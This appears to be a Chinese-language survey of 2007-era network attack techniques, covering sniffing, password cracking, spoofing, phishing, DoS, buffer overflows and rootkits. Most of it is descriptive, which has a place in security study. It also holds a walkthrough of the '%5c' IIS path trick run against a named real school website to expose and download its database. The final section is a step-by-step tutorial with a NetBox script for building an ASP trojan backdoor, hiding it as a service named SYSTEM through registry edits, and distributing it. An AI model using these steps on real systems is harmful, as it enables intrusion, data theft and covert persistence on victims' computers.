1、窃听技术的发展趋势
窃听技术是攻击者通过非法手段对系统活动的监视从而获得一些安全关键信息。目前属于窃听技术的流行攻击方法有键击记录器、网络监听、非法访问数据和攫取密码文件。可以从以下几个方面来分析。
(1)键击记录器。这是植入操作系统内核的隐蔽软件,通常实现为一个键盘设备驱动程序,能够把每次键击都记录下来,存放到攻击者指定的隐藏的本地文件中。著名的有Win32 平台下适用的IKS 等。
(2)网络监听。这是攻击者一旦在目标网络上获得一个立足点之后刺探网络情报的最有效方法,通过设置网卡的混杂(promiscuous)模式获得网络上所有的数据包,并从中抽取安全关键信息,如明文方式传输的口令。Unix 平台下提供了libpcap 网络监听工具库和tcpdump、dsniff 等著名监听工具,而在Win32 平台下也拥有WinPcap监听工具库和windump、dsniff forWin32、Sniffer等免费工具,另外还有专业工具Sniffer Pro等。
(3)非法访问数据。这是指攻击者或内部人员违反安全策略对其访问权限之外的数据进行非法访问。
(4)攫取密码文件。这是攻击者进行口令破解获取特权用户或其他用户口令的必要前提,关键的密码文件如Windows 9x下的PWL 文件、Windows NT/2000下的SAM文件和Unix平台下的/etc/password 和/etc/shadow。
2、欺骗技术的发展趋势
欺骗技术是攻击者通过冒充正常用户以获取对攻击目标访问权或获取关键信息的攻击方法,属于此类的有获取口令、恶意代码、网络欺骗等攻击手法。下面,我们归纳了2007年比较热门的一些欺骗技术。具体如下:
第1种:获取口令的方式。主要有通过缺省口令、口令猜测和口令破解三种途径。某些软件和网络设备在初始化时,会设置缺省的用户名和密码,但也给攻击者提供了最容易利用的脆弱点。口令猜测则是历史最为悠久的攻击手段,由于用户普遍缺乏安全意识,不设密码或使用弱密码的情况随处可见,这也为攻击者进行口令猜测提供了可能。口令破解技术则提供了进行口令猜测的自动化工具,通常需要攻击者首先获取密码文件,然后遍历字典或高频密码列表从而找到正确的口令。著名的工具有John the Ripple、Crack和适用于Win32平台的L0phtcrack等。
第2种:恶意代码。包括特洛伊木马应用程序、邮件病毒、网页病毒等,通常冒充成有用的软件工具、重要的信息等,诱导用户下载运行或利用邮件客户端和浏览器的自动运行机制,在启动后暗地里安装邪恶的或破坏性软件的程序,通常为攻击者给出能够完全控制该主机的远程连接。
第3种:网络欺骗。是攻击者向攻击目标发送冒充其信任主机的网络数据包,达到获取访问权或执行命令的攻击方法。具体的有IP 欺骗、会话劫持、ARP(地址解析协议)重定向和RIP(路由信息协议)路由欺骗等。
(1)IP 欺骗。是指攻击者将其发送的网络数据包的源IP地址篡改为攻击目标所信任的某台主机的IP地址,从而骗取攻击目标信任的一种网络欺骗攻击方法。通用应用于攻击Unix 平台下通过IP 地址进行认证的一些远程服务如rlogin、rsh等,也常应用于穿透防火墙。
(2)会话劫持指。是指攻击者冒充网络正常会话中的某一方,从而欺骗另一方执行其所要的操作。目前较知名的如TCP 会话劫持,通过监听和猜测TCP 会话双方的ACK,插入包含期待ACK的数据包,能够冒充会话一方达到在远程主机上执行命令的目的。支持TCP 会话劫持的工具有最初的Juggernaut 产品和著名的开源工具Hunt。
(3)ARP欺骗。这种方法提供将IP地址动态映射到MAC 地址的机制,但ARP机制很容易被欺骗,攻击主机可以发送假冒的ARP 回答给目标主机发起的ARP查询,从而使其错误地将网络数据包都发往攻击主机,导致拒绝服务或者中间人攻击。由于RIP没有身份认证机制,因此攻击者很容易发送冒充的数据包欺骗RIP 路由器,使之将网络流量路由到指定的主机而不是真正希望的主机,达到攻击的目标。
2007年以来,通过欺骗的方式获得机密信息的事件越来越多,在国内比较严重的银行诈骗事件已经让不少用户开始感觉到网络中存在的安全隐患。下面是国际反钓鱼组织公布了一个典型案例。攻击者发了一个欺骗的邮件并声称:按照年度计划,用户的数据库信息需要进行例行更新,并给出了一个“To update your account address”连接地址。由于这封Email来自
[email protected],因此,一般人不会太怀疑。不过,细心的用户会发现,表面地址是[url]http://comcast-database.biz/[/url],实际地址是[url]http://66.113.136.225[/url]。很明显,这个攻击者利用了URL欺骗技术,以达到其不可告人的目的!
此外,还有不少流氓软件通过欺骗技术,未经许可强行潜伏到用户电脑中,而且此类程序无卸载程序,无法正常卸载和删除,强行删除后还会自动生成。有迹象表明,病毒、黑客和流氓软件正紧密结合,日益趋于商业化、集团化,并且已经形成了一根完整的产业链条。
3、拒绝服务攻击技术的发展
拒绝服务攻击指中断或者完全拒绝对合法用户、网络、系统和其他资源的服务的攻击方法,被认为是最邪恶的攻击,其意图就是彻底地破坏,而这往往比真正取得他们的访问权要容易得多,同时所需的工具在网络上也唾手可得。因此拒绝服务攻击,特别是分布式拒绝服务攻击对目前的互联网络构成了严重的威胁,造成的经济损失也极为庞大。拒绝服务攻击的类型按其攻击形式划分包括导致异常型、资源耗尽型、分布式拒绝服务攻击(DDoS)。
第1种,导致异常型拒绝服务攻击。这种方法利用软硬件实现上的编程缺陷,导致其出现异常,从而使其拒绝服务。如著名的Ping of Death攻击和利用IP协议栈对IP 分片重叠处理异常的Treadrop攻击。
第2种,资源耗尽型拒绝服务攻击。这种方法通过大量消耗资源使得攻击目标由于资源耗尽不能提供正常的服务。根据资源类型的不同可分为带宽耗尽和系统资源耗尽两类。带宽耗尽攻击的本质是攻击者通过放大等技巧消耗掉目标网络的所有可用带宽。系统资源耗尽攻击指对系统内存、CPU 或程序中的其他资源进行消耗,使其无法满足正常提供服务的需求。著名的Syn Flood 攻击即是通过向目标服务发送大量的数据包,造成服务的连接队列耗尽,无法再为其他正常的连接请求提供服务。
第3种,分布式拒绝服务攻击。这种方法通过控制多台傀儡主机,利用他们的带宽资源集中向攻击目标发动总攻,从而耗尽其带宽或系统资源的攻击形式。DDoS攻击的第一步是瞄准并获得尽可能多的傀儡主机的系统管理员访问权,然后上传DDoS攻击并运行。目前著名的DDoS 工具有TFN(Tribe FloodNetwork)、TFN2K、Trinoo、WinTrinoo和Stacheldraht等。
从2007年网络攻击技术的发展情况来看,最近发生的拒绝服务攻击事件大多与联机游戏有关。某些玩家对在游戏中被人杀死或丢失他们喜爱的武器不满意,因此发动拒绝服务攻击,许多服务器已经成为这种攻击的牺牲品。另外,使用拒绝服务进行网络敲诈勒索的事件仍然十分频繁,攻击者通过在短暂而非紧要的时间段内发动攻击,对用户的数据构成威胁,受害者则不得不为此而支付“保护费”。
4、数据驱动攻击技术及其新发展
数据驱动攻击是通过向某个程序发送数据,以产生非预期结果的攻击,通常为攻击者给出访问目标系统的权限,数据驱动攻击分为缓冲区溢出攻击、格式化字符串攻击、输入验证攻击、同步漏洞攻击、信任漏洞攻击等。
第1种,缓冲区溢出攻击。缓冲区溢出攻击的原理是向程序缓冲区写入超出其边界的内容,造成缓冲区的溢出,使得程序转而执行其他攻击者指定的代码,通常是为攻击者打开远程连接的ShellCode,以达到攻击目标。近年来著名的蠕虫如Code-Red、SQL.Slammer、Blaster 和Sasser 等,都是通过缓冲区溢出攻击获得系统权限后进行传播。
第2种,同步漏洞攻击。这种方法主要是利用程序在处理同步操作时的缺陷,如竞争状态。信号处理等问题,以获取更高权限的访问。发掘信任漏洞攻击则利用程序滥设的信任关系获取访问权的一种方法,著名的有Win32 平台下互为映像的本地和域Administrator 凭证、LSA 密码(Local SecurityAuthority)和Unix 平台下SUID 权限的滥用和X Window 系统的xhost 认证机制等。
第3种,格式化字符串攻击。这种方法主要是利用由于格式化函数的微妙程序设计错误造成的安全漏洞,通过传递精心编制的含有格式化指令的文本字符串,以使目标程序执行任意命令。输入验证攻击针对程序未能对输入进行有效的验证的安全漏洞,使得攻击者能够让程序执行指定的命令。
下面是一个很有代表性的例子。打开某些网页时,可以把网址中的“/”换成“%5c”然后提交,这样就可以暴出数据库的路径。成功后,会有类似的提示:“确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。” 在Google或者百度中,搜索关键词“wishshow.asp?id=”,找到一些具有缺陷的的许愿板程序。本例是一个台湾测试站点,地址为[url]http://web.gges.tp.edu.tw/asp/wish/wishshow.asp?id=117[/url]。在wish后,用“%5c”替换“/”,地址就变成了[url]http://web.gges.tp.edu.tw/asp/wish%5c[/url] wishshow.asp?id=117,这样就可以暴出对方数据库了。根据错误提示,数据库是db.mdb,而且还可以直接下载。如图4所示。
“%5c”并不是网页本身的漏洞,而是利用了IIS解码方式的一个缺陷。实际上是“\”的十六进制代码,是“\”的另一种表示法。但是,提交“\”和“%5c”却会产生不同的结果。在IE中,我们把下面第一个地址中的“/”换成“\”提交:
[url]http://web.gges.tp.edu.tw/asp/wish/wishshow.asp?id=117[/url]
[url]http://web.gges.tp.edu.tw/asp/wish[/url]\wishshow.asp?id=117
|
二者的访问结果是一样的。IE会自动把“\”转变成“/”,从而访问到同一地址。但是,当我们把“/”换成十六进制写法“%5c”时,IE就不会对此进行转换,地址中的“%5c”被原样提交了。2007年以来,针对网站、论坛等程序的攻击依然是一大热点,一些大学网站、论坛甚至一些知名企业的站点都遭遇了不同程度的攻击。比较热门的事件有:OBlog2.52文件删除漏洞、COCOON在线文件管理器上传漏洞、PJBlog v2.2用户提权再提权、BBSXP 6.0 SQL版的版主提权漏洞、雪人“SF v2.5 for Access”版论坛漏洞等,这些攻击手法都综合了多种技巧,尤其是数据驱动攻击技术的运用。
5、隐藏技术及其新发展
攻击者在完成其攻击目标后,通常会采取隐藏技术来消除攻击留下的蛛丝马迹,避免被系统管理员发现,同时还会尽量保留隐蔽的通道,使其以后还能轻易的重新进入目标系统。隐藏技术主要包括日志清理、内核套件、安装后门等。
第1种,日志清理。日志清理主要对系统日志中攻击者留下的访问记录进行清除,从而有效地抹除自己的动踪迹。Unix平台下较常用的日志清理工具包括zap、wzap、wted 和remove。攻击者通常在获得特权用户访问权后会安装一些后门工具,以便轻易地重新进入或远程控制该主机,著名的后门工具包括BO、netbus和称为“瑞士军刀”的netcat等;攻击者还可对系统程序进行特洛伊木马化,使其隐藏攻击者留下的程序、服务等。
第2种,内核套件。内核套件则直接控制操作系统内核,提供给攻击者一个完整的隐藏自身的工具包,著名的有knark for Linux、Linux Root Kit 及rootkit。
第3种,安装木马后门。木马的危害性在于它对电脑系统强大的控制和破坏能力,窃取密码、控制系统操作、进行文件操作等等,一般的木马都有客户端和服务器端两个执行程序,其中客户端是用于攻击者远程控制植入木马的机器,服务器端程序即是木马程序。木马在被植入攻击主机后,它一般会通过一定的方式把入侵主机的信息,如主机的IP地址、木马植入的端口等发送给攻击者,这样攻击者有这些信息才能够与木马里应外合控制攻击主机。本文将通过网络盒子NetBox做一个木马,它可以方便的将ASP等脚本编译成为独立运行的执行程序,完全不用考虑平台兼容性要求。步骤如下:
第1步:创建一个NetBox应用。创建一个空的目录,假设是c:\web;同时,在目录中创建一个文件,命名为main.box,其内容为:
Dim httpd
'------------设置在服务中运行的名称,可适当修改进行隐藏---------------------
Shell.Service.RunService "NBWeb", "NetBox Web Server", "NetBox Http Server Sample"
'---------------------- 设置服务器启动---------------------
Sub OnServiceStart()
Set httpd = CreateObject("NetBox.HttpServer")
'-------以下设置浏览端口,可修改为其他参数,或更改wwwroot目录----
If httpd.Create("", 8080) = 0 Then
Set host = httpd.AddHost("", "\wwwroot")
host.EnableScript = true
host.AddDefault "default.asp"
host.AddDefault "default.htm"
httpd.Start
else
Shell.Quit 0
end if
End Sub
Sub OnServiceStop()
httpd.Close
End Sub
Sub OnServicePause()
httpd.Stop
End Sub
Sub OnServiceResume()
httpd.Start
End Sub
|
第2步:设置木马运行环境。在c:\web目录中再创建一个子目录wwwroot,并将我们所需要的ASP木马文件全部复制到wwwroot 中,这里选用的是海阳顶端ASP木马。此时,ASP运行环境应该已经准备好了。为了运行新建的NetBox 应用,必须确认8080端口没有被其他程序占用。双击main.box文件,就可以在窗口右下角看见NetBox的图标。此时,NetBox 已经正常运行了。现在,访问[url]http://localhost:8080/[/url]测试ASP木马是否能正常运行。这种木马的好处是,不用担心有日志记录。但是现在它还远不是一个后门,只是提供了与IIS相当的功能
第3步:编译。执行“NetBox Deployment Wizard”,点击“选择文件夹”,找到刚才建立的目录C:\web,设置文件类型和输出文件名后,点“Build...(编译)”按钮,开始编译,就得到了编译成功的那个执行文件。因为这个例程是以服务方式创建的Web 服务器,所以可以在命令行下执行:myapp -install将应用安装成为服务,这样,系统无须登录便可以自动运行应用了。如果需要卸载服务,则可以在命令行下执行如下命令:myapp �Cremove。(myapp代表输出的应用文件名,如本例中的test),如图5所示。
第4步:隐藏服务。要达到“神不知鬼不觉”的效果,首先需要把应用程序添加为服务,我们可以使用Windows提供的Instsrv.exe和Srvany.exe这两个小软件。在命令行下,先把Instsrv.exe把Srvany.exe注册为服务。格式为:INSTSRV 服务名 SRVANY的路径,如:“INSTSRV SYSTEM C:\WEB\SRVANY.EXE”。其中SYSTEM是为了便于隐藏服务名。
第5步:添加注册表键值。注册成功后,打开注册表如下键值:[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SYSTEM]。SYSTEM是刚才我们注册的服务名,在SYSTEM下面先建立一个项PARAMETERS,然后在这个项上建立一个键值APPLICATION,填上我们要执行的文件路径如C:\web\test.exe,就可以了。
第6步:启动服务。方法有两种,第一种是在图形界面,直接进入“管理工具”下的“服务”面板;另一种是在命令行下,启动命令为:“NET START SYSTEM”,停止命令为:“NET STOP SYSTEM”。如果要将这个服务删除,可以用如下命令:“SC DELETE SYSTEM”。
第7步:制作并发布木马。结合批处理和脚本把这个做成自解压文件,或者其他的上传方式,比如通过后台数据库备份上传后再修改密码。
值得注意的是,2007年木马技术发展迅猛,除了一些老牌木马,其他有特色的木马也让人头疼不已,例如管理型木马――ncph远程控制;国产木马新秀PCView 2007;五毒俱全的蜜蜂大盗;木马Erazer Lite;另类的远程控制工具JXWebSver等。这些木马隐藏技术的不断提高,也给用户带来了许多麻烦。